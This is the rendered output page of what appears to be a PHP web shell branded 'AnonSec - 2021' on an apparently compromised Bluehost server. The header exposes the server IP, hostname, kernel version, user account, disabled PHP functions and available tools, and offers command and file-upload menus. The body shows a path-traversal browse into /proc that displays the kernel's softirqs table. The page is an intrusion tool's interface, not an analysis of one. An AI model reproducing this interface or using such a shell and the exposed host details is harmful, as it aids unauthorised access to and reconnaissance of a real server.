Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../proc/98/../9/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../proc/98/../9/../softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17059831   46320533   27164742   38119622   25731257   39210128   31195651   20141501   26727886   23028289   24000362   24727427  109540003   15185484   34835369   24625443
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27136665   69801641   39732606   97979905   35744676  123745954   34242786   32965188   51984070   56773124   50065553   36530958   52860790   26291150  105503269  113948631
       BLOCK:    1244450    2151921    1964606    1568797    1305720    1332973    1332993    1258482    1406815    1191659    1060910    1275345    1235693    1264934    1412583    1544767
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5475428   13599039    4075829   24936768    7933552   31438007    8279143    6787513   11713282    7798494   15935051    9367409   15210353    4407204   24518641    4268444
       SCHED:   43017129   20920180   13775465   17535002   11445407   19768043   11790478   10052515   12805310   13040241   10586733   13396574   23063761    9047463   17257324   22474143
     HRTIMER:       2055       5282       3614       9094       2214      14961       1627       2469       4830       2664       5649       4216       6958       1398       9109       1358
         RCU:   42307323   77088329   54308687   89684463   51876049  108350597   52833068   45635692   60088473   71543921   46053918   48156961   98534744   41086569   97596264  147356101

AnonSec - 2021